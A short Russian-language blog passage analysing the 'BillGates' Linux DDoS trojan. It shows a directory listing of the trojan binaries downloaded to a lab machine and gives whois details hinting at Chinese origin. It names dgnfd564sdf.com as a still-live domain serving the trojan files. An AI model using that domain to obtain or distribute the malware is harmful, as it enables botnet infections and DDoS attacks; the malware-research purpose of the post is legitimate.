Оригинал статьи – Исследуем Linux Botnet «BillGates»
Оригинал статьи – Кого атакует BillGates?
Статья на securelist.com – Многофункциональный DDoS-троянец под Linux

Bill Gates сегодня

Не смотря на статьи в интернете на тему зловреда, никто даже не подумал отключить или закрыть домен dgnfd564sdf.com. Он и по сей день существет, чувствует себя отлично и с него по прежнему можно загрузить оригинальные файлы трояна. Мне удалось получить все файлы прям с сайта, со всеми последними обновлениями.

[root@lab2 trojan]# ls -la
total 3884
-rw-r--r--   1 root root 487672 Jan 31 15:06 atdd
-rw-r--r--   1 root root 525124 Jun 16 19:44 cupsdd
-rw-r--r--   1 root root 487664 Jan 31 15:06 ksapd
-rw-r--r--   1 root root 487664 Jan 31 15:06 ksapd.1
-rw-r--r--   1 root root 487664 Jan 31 15:06 kysapd
-rw-r--r--   1 root root 487664 Jan 31 15:07 sksapd
-rw-r--r--   1 root root 487672 Oct 23  2013 skysapd
-rw-r--r--   1 root root 487672 Feb  5 11:26 xfsdx
[[email protected] trojan]# ls -la
total 3884
-rw-r--r--   1 root root 487672 Jan 31 15:06 atdd
-rw-r--r--   1 root root 525124 Jun 16 19:44 cupsdd
-rw-r--r--   1 root root 487664 Jan 31 15:06 ksapd
-rw-r--r--   1 root root 487664 Jan 31 15:06 ksapd.1
-rw-r--r--   1 root root 487664 Jan 31 15:06 kysapd
-rw-r--r--   1 root root 487664 Jan 31 15:07 sksapd
-rw-r--r--   1 root root 487672 Oct 23  2013 skysapd
-rw-r--r--   1 root root 487672 Feb  5 11:26 xfsdx

Домен dgnfd564sdf.com зарегистрирован у регистратора godaddy.com и судя по всей имеющейся информации троян китайский. Хотя у регистратора в данных whois написана полная фигня, определенные выводы можно сделать из графиков выше, там чотко видно, что большинство целей атакуются в Китае.
whois_botnet

163com

В качестве контактного Email адреса указан адрес: [email protected] который может быть вполне настоящим. Сайт 163.com реальный и он оказывает почтовые услуги в Китае.